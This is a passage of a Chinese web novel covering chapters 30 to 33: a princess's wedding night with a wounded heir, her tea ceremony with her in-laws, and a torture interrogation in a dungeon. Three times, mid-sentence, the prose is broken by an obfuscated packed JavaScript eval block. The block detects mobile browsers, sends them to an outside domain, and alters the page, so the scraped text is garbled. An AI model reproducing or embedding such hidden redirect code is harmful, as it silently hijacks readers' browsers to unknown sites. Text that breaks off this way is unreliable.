郡主怕是早就金蝉脱壳,跑到王府来了。 很好,她应也是古往今来第一个不等迎亲,便自己跑到夫家的新娘子。 难怪迎亲队伍根本没去郡主府,他就说母亲并不是会任由郡主受刁难的性子。喜轿只是出来吸引众人耳目的障眼法。 喜娘将编织有同心结的红绸牵斤将喜绸递到封眠和百里浔舟手中,两人牵着一根红绸,踩在铺的似乎望不到头的红毯之上,迈入了侯府。 封眠微微垂着眼,看着红盖头下小小一方天地,婚鞋鞋尖上缀着的拇指大的洞珠在缀满米珠流苏的裙摆下忽隐忽现,漾出月华似的流光。 她的心情忽地明媚起来,她没想到世子会这么及时地赶到,眼下的局面显然已倒向了她这一边。 耳边响起喜娘的的声音:“跪——” 喜绸另一端向下一沉,封眠跟着跪了下去,随着喜娘的声音,一拜天地,二拜高堂,夫妻对拜,直到最后—— “礼成,送入洞房!” 30. 第 30 章 跃动的红烛映着满堂锦绣,封眠端坐在紫檀木拔步床上,身下铺着百合花纹银红缎被,她抬手揉了揉被凤冠压得生疼的脖颈,另一只手同时摸了摸饥肠辘辘的肚子。 这一日奔波折腾,忙着成婚的仪礼,一粒米都还没来得及吃,雾柳给她备下的点心也落在外头了,现下她全无自己刚刚成了一场婚的紧张羞涩,只觉得饿得有些发慌了。 此时房门被吱呀一声推开,封眠忙招了招手,“流萤?还是雾柳?桌上有吃的没有?我好饿呀。” 她话音刚落,一碗热腾腾的馄饨便被递到了盖头底下。 “哪来的馄饨?”封眠惊喜地就伸手去接,面前人却不松手。 “坐在床边吃多有不便,去桌上吃吧。”百里浔舟清清朗朗的声音忽然响起。 封眠一怔,这才注意到端着碗沿的手骨骼分明,修长有力,并非女子的手。而自己的指尖正与他的指骨相碰,她仿佛被烫到一般飞快地缩回了手。 “世子怎么来了?” 这两日闹了这样一桩乌龙,许多宾客一开始都没敢来参加婚宴,仪式成了之后才陆续有听到风声的宾客快马赶来,她以为今日百里浔舟要在前院待客到很晚。 红盖头遮住了封眠的大半视野,她垂着眼只能看见百里浔舟一点鲜红的袍角,猜测他应是已被带去换上了吉服。 那片袍角很快离开了视野,脚步声渐远,接着便是瓷碗搁在桌上细微的磕碰声。 百里浔舟一面将盛有馄饨的碗搁到桌上,一面答道:“他们太闹了,我来清静清静。” “母亲说你应该还没用饭,让我给你带了碗馄饨。” 原来是王妃提醒的,她就说嘛,百里浔舟可没有这么体贴。 封眠正打算自己揭了盖头过去吃馄饨,那边百里浔舟看她久坐不动,也想起来盖头还未揭,便起身一个箭步冲到榻前去揭盖头。 两人的手碰到了一处,恰好一起将盖头掀开了。 封眠眼前先是看见一截玉带束出的劲瘦腰肢,再抬眼往上,便看见一张被大红喜袍映衬得格外清俊明丽的脸,眉目如画,狭长的眼眸漆黑深邃,眼尾略弯,带着几分少年人的意气张扬。高挺的鼻梁上有一点痣,显得五官骨感更强,愈有韵致。 百里浔舟漆黑的眼眸亦落在封眠的脸上,她今日盛妆,摇曳的烛影映着嫣红的脸颊,宛若枝头初绽的桃花。长睫如蝶翼在眼下投下一片淡淡的影,杏眸盈盈似水,乌黑的瞳仁灵动非常。小巧精致的鼻头下,涂着胭脂的饱满双唇如玛瑙娇艳。 她满头的乌发皆被凤冠束起,露出修长如玉的脖颈,大红的嫁衣愈发衬得肌肤细腻如瓷。 灯下看美人,难免令人失神。百里浔舟尚未反应过来,封眠已自然地顺着他的力道揭下了盖头,冲他嫣然一笑,“多谢世子了。” 封眠是真的饿了,也不讲究什么贵女仪态了,环佩叮咚地小跑了两步,在桌前坐下,先美美地喝了一口热汤,舒服得眼睛都眯了起来,小动物一样柔软可爱。 对面的光忽然一暗,百里浔舟坐了下来,看她这幅被一碗简单的小馄饨勾得失了魂的模样,不由拧了拧眉,“你那两个丫鬟怎没给你带些吃食垫垫?这会儿不担心你饿到生病了?” “备了些点心的,只是你出现得突然,要去王府门口迎你,便忘记带在身上了。”封眠咬了一小口馄饨,细嚼慢咽吞入腹中才回答百里浔舟的话。虽是饿极,多年来的习惯还是让她小心看顾着自己的胃,没有一口气吃太大口。 说到此事,百里浔舟忽然好奇:“若我没回来,你要如何拜堂?” 封眠开始吃第二颗小馄饨,在间隙中回答:“王妃说,她可以亲自抱着公鸡代你拜堂。总之这亲事定是能成的。” 百里浔舟:“……” 当真是他的好娘亲。 但不得不说,他非常理解母亲为何喜欢郡主。先不说她生得一副讨人喜欢的乖巧面容,便是她的脾性也是难得的伶俐,既聪颖有胆气,又十分有决断,寻常人谁也不会因一次噩梦,便雷厉风行地设张举措,还能果断地说服母亲一同调兵驰援。 思及此,百里浔舟蓦地起身,郑重向封眠鞠了一躬,“还未多谢你派人相救之恩,否则我与父王恐怕很难平安。我欠你两条命。往后若有需要相助的地方,你尽管与我提。” 封眠吃了小半碗馄饨,已有些饱了。晚膳吃到七分饱方为养生,她便搁了勺子,起身扶了百里浔舟一把,略狡黠地一笑,“你我如今都是拜过堂的夫妻了,你便是不欠我两条命,我也不会与你客气的。” 她怎么就这般轻轻松松地将这种话说出口了? 百里浔舟呆了一呆,一时都忘了自己还要说什么。 这当口,封眠的视线在百里浔舟身周转了一圈,“对了,鸾仪卫他们是何时到的?你有没有受伤?可请大夫瞧过了?” “请什么大夫?鸾仪卫到的及时,我自是毫发无损的。” 百里浔舟语调轻松,封眠却注意到他的视线有一瞬闪躲,狐疑地眯眯眼,嘴上却道:“那便好。唔,灯烛好像有些暗了,你去剪一剪烛芯可好?” “好。” 百里浔舟巴不得去做点什么,好能不这么尴尬地站着,熟料他刚一转身,身后封眠便瞅准时机,忽地踮脚拍了下他的肩头。 百里浔舟抑制不住地痛嘶一声,下意识便钳住了封眠的手腕,眉心因吃痛而蹙紧,回首时眼底有一瞬杀意闪过。 待意识到面前人是封眠时,他才略略松了手劲,目光着恼,“你做什么?” “你嘴硬什么?”封眠看清他眼底未散的警觉,撇了撇嘴,略凑近了些,鼻尖恰凑到百里浔舟的肩窝处,果然嗅到了一股极为浅淡的血腥气,“受伤便受伤了,为何不承认?” 两人此时挨得极近,近到百里浔舟呼吸时的热气擦过她的鬓角,能嗅到她发间清淡的甜暖香气。 掌心与手腕交叠之处,热度攀升,脉搏的跳动一下一下鼓动着掌心。 烛光将两人的影子交叠着映在满宿吉祥纹样的十二扇檀木屏风之上,封眠微微仰首,凤冠垂珠轻晃。 她与他拉开些许距离,杏眸瞪着他,“从落鹰峡回来至少要两日,你不到黄昏便赶了回来,这一路是不是没歇过?伤口可崩开了?重新上药了吗?不对,你上过药吗?” 百里浔舟紧紧抿着唇不吭声。他不大想在封眠这样娇娇弱弱的贵女面前流露自己的脆弱。 鸾仪卫到的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063712|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他其实几乎已经力竭,身上大小伤口不可计数。但在击退伏兵后,他惦记着成婚的时辰,便将边民交与支援的陆指挥使护送,自己则一路快马加鞭赶了回来,一路上伤口几次崩裂,都被他忍了下来,生怕耽误了时辰。 封眠环顾四周,见窗前设着一张花梨木美人榻,铺有金线密织的软烟罗垫子,立即反手握住了百里浔舟的手腕,将人推到美人榻。 “把衣裳脱了,趴下。” 百里浔舟懵了:“什么?” “给你上药。你上次给我的金疮药,我还没用多少。”封眠见他半晌不动,作势抬手去解他腰间束带,“你不动手,莫不是想让我帮你?” 百里浔舟忙两手捂着束带往后一躲,腿弯却被身下的花梨木美人榻抵住,躲无可躲。他此生还从没这般窘迫过,偏偏又不好在这时候跑出去,若是母亲闻起来,他能如何说? 与母亲说郡主要他脱衣疗伤,他却跑了?看着就好像他害羞了似的,还不如封眠这般女子坦荡,委实有些丢脸。 “我自己来,我……你……”他本想让封眠转过身去,但对上封眠那双圆而清澈的眼,又说不出口了。罢了,上药时她也是要看的。 百里浔舟自行转过身去,修长的手指搭在腰间玉带上,嗒一声解开,大红色外袍滑落,再缓缓解开中衣的系带,布料层层褪下,露出覆满薄肌的上半身,两道狰狞的伤口横贯肩背,皮肉翻卷,伤口已然有些崩裂,鲜血正在缓缓渗出,在苍白的肌肤上蜿蜒出刺目的红。 跃动的烛火照出更加触目惊心一幕,渗血的伤口周遭有数道早已愈合的旧伤疤,遍布肩背腰侧,直没入腰际的阴影里。 这般可怖的伤口定然万分痛楚,但他的脊背却依旧挺得笔直,像是习惯了将所有的脆弱都藏在这副伤痕累累的躯壳之下。 封眠的呼吸停滞了一瞬,眼底被那些伤口刺得生疼,简直不敢想他是如何顶着这样的伤口还能日驰千里,及时赶到云中郡的。 “吓到了?”百里浔舟故作轻松地问。 封眠伸出一根食指戳了戳他的肩头,示意他躺下,“是啊,吓到了。明日我便告诉王妃,你受了这般重的伤还不肯上药。” 百里浔舟顺从地在榻上趴下,忽然意识到自己这样的行为似乎容易引起某方面的误会,当下清清嗓子,正色道:“我之所以急着赶回来,只是不想王府被放在不忠不义的境地。皇命在身,无关风月,还望郡主莫要误会。” 封眠正要涂药的手悬在他狰狞的伤口之上,忽地用力戳了一下伤口边沿,疼得百里浔舟肩头一颤,“呀,手误手误,世子莫要误会。” “我懂你的意思,不过是说你我二人虽有了夫妻之名,但不会有夫妻之情嘛。” 额间冷汗滑过眼皮,打湿了睫毛,百里浔舟不大自在地眨了眨眼,也知晓自己这时候说这种话有些不对,但仍是应声道:“不错,日后郡主若遇倾心之人,大可效仿永宁长公主。我保证,绝不会有人对此多说一个字。” 永宁长公主是嘉裕帝长姐,自驸马故去后,她便四处游历清修,不知结实多少露水情缘。 新婚之夜,做夫君的与妻子说,日后她可随意红杏出墙,豢养面首,当真也是大雍独一例了。 31. 第 31 章 红烛哔啵爆了个灯花,封眠在百里浔舟身后没忍住扯了扯唇角。 普天下男子都巴不得自己三妻四妾,却要每一名女子为自己守贞,百里浔舟倒是与众不同,反倒劝她找面首呢,似乎生怕她将一颗心拴在他身上。 可惜她现在的心思还真得放在百里浔舟身上才行,她得看着他不能造反啊。 若她真搬去郡主府,与百里浔舟各过各的去了,说不得哪一日便跟着稀里糊涂地掉了脑袋。一时快活与一世快活相比,作何选择自是显而易见的。 待到确认谋反之事不会再发生,她自然也就能丢开手去快活了。 “世子倒是大度得很,可惜我是个小肚鸡肠的。”封眠细细为百里浔舟上药,这次没有再故意戳痛他的伤口,动作细致小心,“即便有名无实,我也不想被其他夫人小姐们议论丈夫的心不在我身上。” 她无意拢住百里浔舟的心,但若府里多个处处想着接近百里浔舟、针对她的人,才是麻烦。 原来她是如此想的?百里浔舟心下松了口气,又莫名有些气不顺的感觉。 百里浔舟:“这点你大可放心,我现下只愿护北疆安宁。” 封眠:“如此甚好。” 看他这副不开窍的模样,短时间内怕是真的生不出什么红袖添香的心思来。只要平安度过了承平二十年的冬天,大不了便是一别两宽,各生欢喜。 两人之间一时静了下来,封眠将药涂在创口上时,便见百里浔舟颈后青筋隐隐,脊背绷出弓弦般的弧度,细密的汗珠布满了背,呼吸也有一瞬的急促,显然在努力忍痛。 她便又寻了个话题与他闲聊,试图帮他将注意力从痛苦上转移,“其实我也要谢你,若不是你来得及时,百姓们定还要再狠狠将我骂上几日。送亲的鸾仪卫怕是也要真的挨上两拳了。” 这话让百里浔舟忽地想起什么,“混在百姓中喊话的那些人,是你安排的?” “嗯。九哥之前与我说,花楼中有人在传我刑克六亲的命理,当时我便觉得不对劲,本已托了陆鸣竹过几日去探一探。结果前几日忽然梦见你和王爷出事,心中不安,便让陆大人提前去花楼散播了一些消息。” “本打算浑水摸鱼,像那些有意针对我的人那样,循序渐进地将你我是天作之合这个念头种到百姓心里去,以破此局。没想到世子回来得这般快,陆大人安插在人群中的钉子便顺势喊话,恰好便让大家听进去了。” “为此,你不惜自揭伤疤?” 百里浔舟想到听见百姓们说她父母皆亡那一瞬间的心颤,此前他并非不知她的身世,可在听百姓们口中议论时,方才真切感受到那是如何沉重的事实。 “早已习惯的事,算不得伤疤。”封眠神色淡淡的,仿佛真的未将此事放在心上一般,“如此一来,今日之前有多痛恨我之人,心中便会有多愧疚,日后再面对此类谣言,想来也会权衡一二,对我也不会像以前那般排斥了。” 百里浔舟:…… 好会利用人心,到底还是心眼子多的盛京人。 “这命理之说应当是真的吧?我听闻陛下极宠爱你,却肯将你嫁到北疆来,想来想去,也只能是为你化灾解厄了。” “世子聪慧。” 百里浔舟忽然看到了希望,勾了勾唇,道:“既然如此,日后郡主若是成功改命,我是否便可功成身退了?” 他倒是不信这些鬼神命理之说,可架不住别人信。若这就是赐婚缘由,那他脱身有望了! “理论上来说,不错。世子若想心想事成,最好是能日日为我祈祷,事事以我为先,争取早日助我改命啊。” 既然这么想和离,总要付出点什么不是? 百里浔舟只觉人生有了盼头,应道:“自然,都听你的。” 封眠弯了弯唇,又道:“对了,鸾仪卫去抓了一个当先挑动百姓抢喜轿的人,花楼那边也盯住了几个比较可疑的人。明日世子殿下要不要去审一审?” 百里浔舟挑了挑眉,显是没想到封眠连人都抓住了,“自然。正好我在落鹰峡也抓了几个活口。” 他思索了下,想着封眠都如此坦诚了,他也不应有所隐瞒,便道:“诱我进落鹰岭的是乌赫族人,但两边埋伏的却是哲兀尔部的人。北夷众部,恐怕有重新合作的苗头了。” 听闻此言,封眠心中一惊,指尖不自觉用了些力,便听百里浔舟轻嘶一声。她吓了一跳,忙道歉:“对不起对不起。” 情急之下,她向前微一倾身,冲方才戳碰到的伤口处呼了呼气。 微暖的气流轻飘飘地落在伤口处,引起一阵酥麻的战栗。 百里浔舟几乎将脸埋进软榻里,腰腹向下一塌,欲躲非躲的样子,说话时带出些咬牙切齿的意味:“好了别吹了,痒得很。快些上药吧。” 窗上伏下去的身影复又立起,洒落的月华落在窗纸上,细细勾勒着两道身影。 院落一角,王爷和王妃携手静立,遥遥望着挂满红绸的新房。 王爷撇嘴一笑:“我就与你说了,阿琢惯是个嘴硬的,说退婚说得狠,真到了这时候,绝不会给郡主没脸。” 王妃斜他一眼,“就你看得明白。我是担心孩子们心中都不痛快,万一生了口角就不好了。” “现下放心了?人两个相处挺好的。走走走,快回去了,我伤在腰上,大夫说了不能久站。” “我也没让你陪着,谁让你非跟来的?现下倒嚷得欢了。”王妃嘴上嗔怪着,却乖乖跟着走了,一手护在他腰上,心中也是心疼。 丈夫与儿子哪一个出事她都将痛不欲生,好在有封眠,助他们避了此番祸事。 定北王府何德何能,竟娶了这样一个好儿媳。 定北王府张灯结彩,筵席未散,元府的老爷夫人便已带着长子先行离席,回府休憩,只道家中三姑娘染了风寒,放不下心,要回家瞧瞧。 待进了元府的大门,元夫人脸上的笑便垮了,露出几分刻薄之色来,“三丫头可真是的,往日里一副能攀上王府高枝的模样,如今怎么着?人家世子爷扭头娶了郡主,连个眼风都没给她。” “以前那些商户妇人知道三姑娘跟王妃走得近,都还明里暗里地奉承着我。今日就改拿话刺我了。她倒是好,称病不去了,留咱们一大家子在里头丢人!” “母亲莫气,以三妹妹的出身,想做世子妃本就是不大可能的事。不过日后说不得也是有机会做个侍妾的,照样能入得了王府。”元亮搀着元夫人转过回廊,口中轻描淡写地谈着让妹妹去给人做侍妾一事,混不在意妹妹的命运。 “侍妾?呵,王妃眼里头可容不下这种东西。”元夫人说来又羡又妒,北疆不如王爷这般位高权重的贵人们府里头都是各种妾室、如夫人,偏王爷是个衷情的,后院只得王妃一个,不知艳煞多少夫人。 她偏头去瞧身侧默不作声的元老爷,“老爷,三丫头的婚事可得抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071403|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧相看起来了。她是个心大的,回头再闹出点什么事来,影响我们四姐儿的前程。” 元老爷点了点头,“你看着办吧。挑几个家世殷实的瞧瞧,这两年药材生意不好做。” 言下之意便是要找那等等扶持元家一把的亲家。 元夫人笑吟吟地应了,“老爷放心,我心中有数的。前几日我才见过那刘员外,他续弦刚走,正想着再娶一个……” 絮絮语声渐行渐远,消失在回廊尽头。 廊下草药花木中走出一个人来,元寄雪手中捧着刚从园中采的草药,目光锐利地瞪着元夫人消失的方向。 那刘员外如今六十有二,半截身子入土的人,却是他们眼中为她寻觅的良缘? 失望和愤怒积累的太多,元寄雪只片刻便神色如常,将草药用手帕包起来放入怀中。 她站在原地愣了片刻,想了想,还是往元府边门行去。 此刻的边门静悄悄的,值守的小厮都去隔壁讨喜酒去了。元寄雪推开边门,就这么在门槛上坐了下来。 几步之外便是结彩悬灯的王府,依稀还能听见几许欢声笑语。 元夫人说得不错,她曾经确实渴望嫁入王府,对她来说,王府远比元府像是一个家,王爷、王妃和世子,每一个人都会关照她。世子哥哥还会帮她打跑那些欺负她的人。 跟各个把她当作工具的元家人来说,她更想选择王府的人作为家人,这有什么错? 有脚步声接近,两个人影从王府走了过来。 元寄雪心中一惊,往门板后躲了躲,却听见了世子的名字。 “你也都瞧见了,百里世子平日里待郡主一点也不上心,日后郡主若是受了委屈可怎么办?”陆鸣竹双颊双目都红得像烧着了一般,显然是喝多了,一旁陆指挥使搀着他,也是脚步踉跄的模样。 陆指挥使:“哎呀,你第一天知道吗?自古皇室招婿多怨偶嘛!” 元府边门,元寄雪心头一跳,若世子哥哥和郡主本就是一对怨偶,那她未必没有机会…… “不行!”那头陆鸣竹听了陆指挥使的话,咻地扭头,非常不赞同地盯着陆指挥使,“不行,郡主得幸福才是!” “那谁说不是呢?郡主金尊玉贵的,还有那么大一个郡主府,换我我也很幸福。”陆指挥使听话听一半,牛头不对马嘴地回话。 “你说,郡主是怎么看世子的?她跟世子到底能不能和和美美的?”陆鸣竹拧着眉毛,仍然执着地揪着陆指挥使问。 陆指挥使像模像样地思考了半天,一把抓住陆鸣竹的手,“能的兄弟,能的!我算是见识到世子上阵杀敌的英姿了,有他在,咱北疆、大雍的百姓,那绝对能和和美美的!” “跟你说不明白!”陆鸣竹气得甩开陆指挥使,大步往前一走,脚下蓦地踩上一粒圆溜溜的小石子,砰一声就砸地上了。 陆指挥使茫然地左右瞧瞧,“陆大人?陆兄?人呢?气性这么大,咋还说走就走呢。” 他说着往前迈步,被陆鸣竹绊了一个踉跄才看见他,当即蹲到他面前,“陆兄,你趴这儿看什么呢?” “郡主……你说郡主她……”陆鸣竹仍呢喃着。 陆指挥使不敢置信地满地摸过去,“哪儿呢?郡主在哪儿呢?你别吓我!” 元府边门,目睹了一切的元寄雪:“……” 她满心悲伤和筹谋都这两个醉鬼扰没了,罢了,赶紧喊人来送他们走吧。 32. 第 32 章 新婚第二日按例要在卯时到辰时间,去向公婆请安敬茶,不过王妃一早便了人来交代,王爷和世子都有伤在身,需要多休息,敬茶的事巳时再说。 于是到了天光大亮时,封眠还在梳妆镜前妆点。 百里浔舟早便百无聊赖地等在门口,他着一身靛蓝圆领袍,腰束玉带,佩着绣双喜字的荷包,格外简洁清爽。 他倚在门板上,手中拿着平日里把玩的飞镖,有一下没一下地射着门上的靶子。 他这间卧房已被母亲改的面目全非十分陌生,以往他一人住时,只有一张床和书案,墙上挂着他收藏的剑戟,空荡冰冷的跟营房没什么两样。 如今四处皆布满了细巧的装扮,纱帘幔帐层叠,一架十二扇屏风隔出寝间来,又摆上了一面螺钿镶嵌的梳妆镜,女子的首饰胭脂在梳妆台上逐样排开,空气中都散发着淡淡的馨香。 唯有门边还给他留了个平日里爱玩的飞镖靶,让他知道母亲还没有娶了媳妇忘了儿,心中尚有他一席之地。 雾柳最后为封眠调整鬓间的赤金嵌宝头面时,流萤来报说王爷和王妃也已梳洗完毕,可以过去请安了。 封眠便拎着裙摆起身,慢吞吞地挪到了百里浔舟身边。 昨日凤冠压得她脖颈痛,睡了一夜醒来还是有些发僵,但礼不可废,今日也不能梳个轻省些的发式,还要戴上王妃送的赤金头面,现在只能梗着脖子硬撑。 幸而昨日睡得还算不错,头脑不昏沉。 百里浔舟倒是有一点好,他不打呼噜呀。 成婚前,封眠听一些嬷嬷私下抱怨过夫家夜里打呼震天响,吵得人睡不着,她还很是担心了一番。 昨夜百里浔舟板板正正地躺在床边,封眠睡在最里面,两人中间就跟隔了条银河似的。 封眠还担心若是百里浔舟夜半打呼吵得她睡不着,她要不要把人叫醒?听说习武之人夜里都十分警觉,她若是去叫他,会不会被不分青红皂白地打上一拳? 担心了半宿,就听着身旁人平稳的呼吸渐渐睡了过去,一觉到天明。 百里浔舟瞥见封眠过来,将手中最后一枚飞镖随手扔到靶子上,站直身子,言简意赅问道:“走?” 见封眠点头,扭头便要走,却被拽住了袖角。 他纳闷地回头,便见封眠端端正正地站在门口,朝他伸来一只手。 什么意思? 他看一眼伸到自己面前的那只手,白嫩修长,指尖蔻丹娇艳,是一双很漂亮的手。又抬眼看封眠,便见她微微歪了歪头,扬扬下巴遥遥点了下自己的手,示意他牵住自己的手。 她今日梳上了妇人的发髻,发饰繁复精致,项间佩彩釉铃兰珍珠璎珞,贵气又清丽,微微侧首时又俏皮得像邻家小姑娘,多了几分鲜活气息。 百里浔舟垂在身侧的手顿时僵住了,有些为难:“有必要吗?” “新婚夫妻哪里有各走各的道理?昨夜世子殿下不是说你我未和离之前,都听我的?出行在外,总要给我这个正头娘子一些面子吧?”封眠将手又往前伸了伸,示意此举很有必要。 他昨晚,好像确实这么说了。 当真是被“和离”的希望冲昏头脑了。 百里浔舟有些不大情愿,但被封眠一双清溪般的眼眸催促地盯着时,他还是迟疑地伸出了手。 指尖刚刚碰到手心,便被封眠主动握住了。 封眠心满意足地牵住人往前走,力图让路过左右的下人们都看清二人相牵的手。 她其实诓他来着,新婚夫妻牵着手去拜见公婆的才是罕有。 她不过是想营造一种假象。若百里浔舟身边的人看见了,定会觉得她这个世子妃很得世子的欢心,对她的防备自然会少些,更方便她监视百里浔舟。 天气日渐暖了起来,王府中被精心侍弄的花草生得繁茂,封眠和百里浔舟二人穿行其间,如一双璧人。 百里浔舟的手拿过枪执过剑,还从没牵过过女子的手,只觉手掌相触的地方皆软得像豆腐,自牵上之后他便像失去了一只手一样,动也不敢动一下,生怕将人握疼了。 一路上他全身的感官几乎都集中在掌心,紧张得都快出汗了,好容易终于熬到了正堂,见着父母那刻,他终于忙不迭地松了手,悄悄呼了口气。 眼瞧着两个孩子牵着手进来,王妃眼前登时一亮,接着就见百里浔舟如蒙大赦般松了手,和封面一起给自己和王爷见礼。王妃只能给自家儿子投以“真没出息”的一瞥。 转眸看向封眠时,王妃脸上重又挂上了温柔的笑,招招手让她上前来,“好孩子,快过来。” 封眠上前两步,有丫鬟端来茶盏,她双手接过,跪下道:“请王妃娘娘用茶。” 王妃接过茶轻轻抿了一口,就忙将封眠扶起来,“既已是一家人了,不必如此生分,是时候改口了。” 封眠怔了怔,“母亲”二字于她而言是极为陌生的字眼,每年只有在母亲忌日时,她才会对着牌位在心中念上几声,此时此刻一时竟不知如何张口。 她抿了抿唇,在王妃期待的注视中,终于张口轻轻喊出声:“母亲。” “哎,乖孩子。”王妃应得干脆,笑弯了眉眼。她褪下腕间玉镯,戴到封眠的手上,“这是自我外祖母那辈传下的玉镯,如今便传与你了。” “多谢母亲。” 封眠心口热乎乎的,未多推辞便收下了,又接着端茶盏向定北王敬茶,“请父亲用茶。” 平日里府上只有个犟儿子与自己顶嘴,定北王见了乖乖巧巧的新儿媳,心下也是欢喜,忙不迭应了,拿出一包红封递与她,“听说你很是喜爱经营铺子,我与你母亲便挑了几家给你。” “多谢父亲。” 谁会嫌自己名下的铺子多呢?封眠欢喜地将红封细细收好。 王妃拉过她的手,轻轻拍了拍,细心关切道:“昨夜休息得可好?阿琢没欺负你吧?” 一旁王爷投来不解地一瞥:昨夜是谁扒窗户边偷看的?有必要再问一遍吗? 王妃一个眼风也没给他,只笑盈盈地等着封眠回答。 私底下悄悄偷看又不是什么能上得台面的事,自然还是当面关切一番,才能让媳妇儿知道他们的心意和立场。 封眠摇了摇头,道:“世子殿下挺好的。” 目前看来是个爱民的好世子,并且坚持不懈地想要与她和离。 “阿琢若是欺负你,你就告诉我与你父亲,我们都为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076700|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑腰。”王妃充分表明自己完全站在封眠这一边,接着问道:“对了,不知你的乳名叫什么?” “我生于小满那日,所以乳名便是小满。” “自然简朴,是个好名字。日后我便唤你阿满可好?”王妃心中暗暗盘算着,“满”有圆满丰足之意,亦有包容之感,“琢”字取雕琢锐意,如此瞧来,两个人连乳名都这般相配。 封眠自无什么不可,阿满听起来还更为亲昵一些。她与封眠一道陪着王爷和王妃用了早膳,看得出来府上的厨子已完全了解了她的喜好,早膳中有一半都是她平日里爱用的。 再加上王妃时时看顾她,又一脸慈爱地看着她用饭,她不知不觉便吃多了,扶着腰出的门,被雾柳喂了粒消食的丸药。 百里浔舟走出正院的门才感觉身上一轻,这一顿饭吃得他如坐针毡,父亲母亲时不时便瞧他两眼,盯着他照顾新妇。 父亲还做出一副温文儒雅好大爹的模样,不许他吃得太快,要细嚼慢咽,要陪在桌旁坐着。天晓得往日他们父子二人都是比谁吃得更快。 就装吧,看他能装几顿饭。 “我就不送你回去了。”百里浔舟在院门口与封眠道别,“鸾仪卫捉住的那几人,让他们一并送到地牢来。” 他说着转身便走,身后却传来亦步亦趋的脚步声。 他回首,见封眠跟在自己身后。 百里浔舟:“你也要去?” 封眠理直气壮地瞧着他:“人是我派人抓来的,我当然要去听听看他们为何针对我。” “牢狱之地血腥,你往日想来也未见过刑讯,身子骨又弱,若是被吓病了,我可不好交代。” 封眠既然决定了去,自然是做好了准备,再说她也并非没见过血腥的场面。 “我心中有数的,世子殿下放心吧” 封眠铁了心要去,百里浔舟阻拦不过,只能看她上了马车。 山衣牵马过来时,他还对着马车叹气。 山衣凑过来幽幽地问:“世子,咱还和离吗?” 百里浔舟一脸“你在问什么废话”的神情看他。 山衣解释道:“府上如今都传遍了,说您与世子妃就连去见王爷和王妃都要牵着手,黏糊得很,可见这新婚一夜感情定是突飞猛进……” 百里浔舟听得这一句话耳朵便红了,也不知是羞得还是气得,他低低骂了一句,道:“成日里没旁的事做了?连本世子的舌根都敢嚼?” 山衣一脸无辜:“府上就这么几个主子,不嚼您的嚼谁的?也没人关注属下的感情生活啊……” 他被百里浔舟瞪了一眼,缩缩脖子,不敢再说了。 不过听山衣这么一说,百里浔舟倒自觉想明白郡主为何执意要与他牵手了,怕不就是为了让大家觉得他们感情很好吧? 当真是好面子。 百里浔舟可以不去管旁人说些什么,但跟自己的近侍却是要说清楚的,“我与郡主已说好了,日后时机到了,自是会和离的。” 山衣不懂,山衣干脆不问了。 反正他听府上的丫鬟们都说了,不要听一个男人说了什么,而是要看他做了什么。 他擎等着瞧日后世子会如何做吧。 33. 第 33 章 阴森的地牢中燃着无数火把,明灭不定,恍若幽冥中跃动的鬼火,映出刑房中央的血腥景象—— 四名异族样貌的壮年男子被绑缚在刑具之上,赤裸的上布满狰狞的鞭痕,皮肉翻卷,血迹累累。 痛楚的喘息声在阴冷的刑房中回荡,伴着再次响起的一声鞭打皮肉的脆响,最右边的男子终于支撑不住昏了过去。 掌鞭的执刑人转身走到灯火最亮处汇报:“世子,再打下去,他就要不行了。” “打死便打死了,这不是还有其他人吗。” 明亮的灯火拢在百里浔舟冰冷的眉眼之上,他如视一件死物般轻描淡写地瞥了一眼昏死过去的男人,再轻飘飘地转到旁边三人身上,“本世子有的是办法招待活到最后的人,让他把自己知道的一切都吐出来。” 刑架上的人在这充满血腥的语气之中,自心底冒起了寒意。 他们最初并不怕死,因为一开始受刑时,还有人为他们看伤。他们便觉得百里浔舟为了从他们嘴里套出话来,轻易舍不得他们死,便更是不肯说。 可如今他这话的意思却是不在乎他们这条命了,而且活得越久的人,会经受更多更可怖的刑法…… 不、不行,无论遭受什么折磨,哲兀尔的勇士绝不能背叛真神…… “我说!我什么都说!” 在接连两人死在刑罚之下,又听百里浔舟细细讲了一遍即将要施在他们身上的水刑之后,幸存的两名哲兀尔勇士之中终于有一人支撑不住了,哀嚎出声。 “你这个懦夫!真神会降罪于你的!”恐惧至极差点就要撑不住但晚了一步投降的同伴顿时投来愤怒的一吼。 投降这人却已豁出去了。他最怕水,害怕窒息的死法,若要在水刑之中一遍遍体验即将被溺毙的感觉,还不如死在真神的降罪之下! 